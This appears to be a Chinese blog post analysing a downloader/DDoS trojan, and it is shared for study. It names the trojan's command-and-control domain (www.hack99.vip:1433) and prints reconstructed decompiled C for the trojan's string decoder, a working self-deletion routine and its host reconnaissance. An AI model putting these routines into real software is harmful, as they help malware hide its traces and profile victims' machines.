Win32.Rootkit.Lapka.Wozw 木马病毒分析

5 篇文章 0 订阅
2 篇文章 0 订阅
By: DeathMemory
QQ: 123951548

前言

近期简单分析了一个下载者+DDos的病毒,还原了一些代码,把大家感兴趣的部分分享出来,仅供学习研究。大神请跳过。

病毒执行流程

整体流程


监控服务

服务开启后,病毒会循环尝试开启线程,获取系统信息,连接远程地址。
远程地址是 Base64(算法处理(URL:port)) -> 1NTUHdvi4NgKCh3V2tMJEhcQEEM=
解密后为:www.hack99.vip:1433

建立 socket 后就发送获取的系统信息,并开始接收返回命令。
根本返回执行相关指令,预置命令是 DDOS 相关代码。


代码还原

Base64 解密处理

int __cdecl customDecode(char *Str)
{
  int len; // [sp+0h] [bp-Ch]@1
  int i; // [sp+4h] [bp-8h]@1
  int outBuff; // [sp+8h] [bp-4h]@1

  outBuff = 0;
  len = base64_decode(Str, &outBuff);
  for ( i = 0; i < len; ++i )
  {
    *(i + outBuff) += 56;
    *(i + outBuff) ^= 123u;
  }
  return outBuff;
}

自删除完整流程

signed int deleteSelf()
{
  HMODULE hKERNEL32; // eax@1
  HANDLE hProc; // eax@2
  HANDLE hThread; // eax@2
  signed int result; // eax@2
  CHAR cmdPath[260]; // [sp+Ch] [bp-354h]@1
  char cmdDeleteSelf[260]; // [sp+110h] [bp-250h]@1
  CHAR Filename[260]; // [sp+214h] [bp-14Ch]@1
  SHELLEXECUTEINFOA exeInfo; // [sp+318h] [bp-48h]@1
  FARPROC lstrcatA; // [sp+354h] [bp-Ch]@1
  char aOpen[5]; // [sp+358h] [bp-8h]@1

  hKERNEL32 = LoadLibraryA("KERNEL32.dll");
  lstrcatA = GetProcAddress(hKERNEL32, "lstrcatA");
  Filename[0] = 0;
  memset(&Filename[1], 0, 0x100u);
  *&Filename[257] = 0;
  Filename[259] = 0;
  cmdPath[0] = 0;
  memset(&cmdPath[1], 0, 0x100u);
  *&cmdPath[257] = 0;
  cmdPath[259] = 0;
  cmdDeleteSelf[0] = 0;
  memset(&cmdDeleteSelf[1], 0, 0x100u);
  *&cmdDeleteSelf[257] = 0;
  cmdDeleteSelf[259] = 0;
  GetModuleFileNameA(0, Filename, 0x104u);
  GetShortPathNameA(Filename, Filename, 0x104u);// 转换成短形式路径
  GetEnvironmentVariableA("COMSPEC", cmdPath, 0x104u);// 从调用该函数的进程的环境变量中返回指定的变量名值的函数
                                                // 获取 cmd 绝对路径
  (lstrcatA)(cmdDeleteSelf, "/c del ");
  (lstrcatA)(cmdDeleteSelf, Filename);
  (lstrcatA)(cmdDeleteSelf, " > nul");      // 调用 cmd 删除自身
  exeInfo.lpVerb = aOpen;
  exeInfo.lpFile = cmdPath;
  exeInfo.cbSize = 60;
  exeInfo.hwnd = 0;
  aOpen[0] = 79;                                // Open
  aOpen[1] = 112;
  aOpen[2] = 101;
  aOpen[3] = 110;
  aOpen[4] = 0;
  exeInfo.lpParameters = cmdDeleteSelf;
  exeInfo.lpDirectory = 0;
  exeInfo.nShow = 0;
  exeInfo.fMask = 0x40;
  if ( ShellExecuteExA(&exeInfo) )              // 执行自删除
  {
    SetPriorityClass(exeInfo.hProcess, 0x40u);  // IDLE_PRIORITY_CLASS 只有当系统空闲时再执行
    hProc = GetCurrentProcess();
    SetPriorityClass(hProc, 0x100u);            // REALTIME_PRIORITY_CLASS
    hThread = GetCurrentThread();
    SetThreadPriority(hThread, 0xF);            // THREAD_PRIORITY_TIME_CRITICAL 设置优先级
    SHChangeNotify(4, 1u, Filename, 0);
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}

系统信息收集

  1. 获取语言
    使用 GetSystemDefaultUILanguage 获取语言
  2. 获取 CPU Hz
    通过注册表:"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"~MHz读取其键值。
  3. 获取内存
    使用 GlobalMemoryStatusEx API 获取
  4. 获取网卡配置和Ip地址信息
    使用 GetAdaptersInfo 循环获取网卡信息

  lstrcpyA(regHardwareDes, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
  if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, regHardwareDes, 0, KEY_ALL_ACCESS, &phkResult) )
  {
    Find_CPU_Error[0] = 70;                     // Find CPU Error
    Find_CPU_Error[1] = 105;
    Find_CPU_Error[2] = 110;
    Find_CPU_Error[3] = 100;
    Find_CPU_Error[4] = 32;
    Find_CPU_Error[5] = 67;
    Find_CPU_Error[6] = 80;
    Find_CPU_Error[7] = 85;
    Find_CPU_Error[8] = 32;
    Find_CPU_Error[9] = 69;
    Find_CPU_Error[10] = 114;
    Find_CPU_Error[11] = 114;
    Find_CPU_Error[12] = 111;
    Find_CPU_Error[13] = 114;
    Find_CPU_Error[14] = 0;
    strcpy(storeBuff + 100, Find_CPU_Error);
  }
  else
  {
    Type = 4;
    cbData = 200;
    RegQueryValueExA(phkResult, "~MHz", 0, &Type, Data, &cbData);
    (RegCloseKey)(phkResult);
    GetSystemInfo(&SystemInfo);
    memset(&Dst, 0, 0xAu);
    MHz[0] = 77;
    MHz[1] = 72;
    MHz[2] = 122;
    MHz[3] = 0;
    sprintf(&Dst, "%d*%u%s", SystemInfo.dwNumberOfProcessors, *Data, MHz);
    strcpy(storeBuff + 100, &Dst);
  }
  memStatus.dwLength = 64;
  GlobalMemoryStatusEx(&memStatus);
  mb = memStatus.ullTotalPhys / 1024 / 1024;    // 获取内存
  mb_p = mb + 1;
  wsprintfA(storeBuff + 68, "%u MB", mb + 1, ((mb + 1) >> 32));
  SizePointer = 0;
  AdapterInfo = malloc(0x280u);
  if ( GetAdaptersInfo(AdapterInfo, &SizePointer) == ERROR_BUFFER_OVERFLOW )
  {
    free(AdapterInfo);
    AdapterInfo = malloc(SizePointer);          // 如果内存不够则重新 malloc
  }
  if ( !GetAdaptersInfo(AdapterInfo, &SizePointer) )// 获取网卡配置和Ip地址信息
  {
    while ( AdapterInfo )
    {
      if ( strcmp(AdapterInfo->GatewayList.IpAddress.String, "0.0.0.0") )
      {
        pIfTable = 0;
        pdwSize = 0;
        v11 = 0;
        sRes = GetIfTable(0, &pdwSize, 1);
        if ( sRes == ERROR_INSUFFICIENT_BUFFER )
        {
          pIfTable = operator new(pdwSize);
          if ( pIfTable )
          {
            sRes = GetIfTable(pIfTable, &pdwSize, 1);
            if ( !sRes )
            {
              for ( i = 0; i < pIfTable->dwNumEntries; ++i )
              {
                if ( pIfTable->table[i].dwOperStatus
                  && pIfTable->table[i].dwAdminStatus != IF_OPER_STATUS_DISCONNECTED
                  && pIfTable->table[i].dwIndex == AdapterInfo->Index )
                {
                  nSpeed = pIfTable->table[i].dwSpeed / 1000 / 1000;
                  if ( nSpeed < 1000 )
                  {
                    sprintf(&aSpeed, "%u Mbps", nSpeed);// 获取网速
                    strcpy(storeBuff + 132, &aSpeed);
                  }
                  else
                  {
                    sprintf(&aSpeed, "%u Gbps", nSpeed / 0x3E8);
                    strcpy(storeBuff + 132, &aSpeed);
                  }
                }
              }
            }
            operator delete(pIfTable);
          }
        }
      }
      AdapterInfo = AdapterInfo->Next;
    }
  }


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值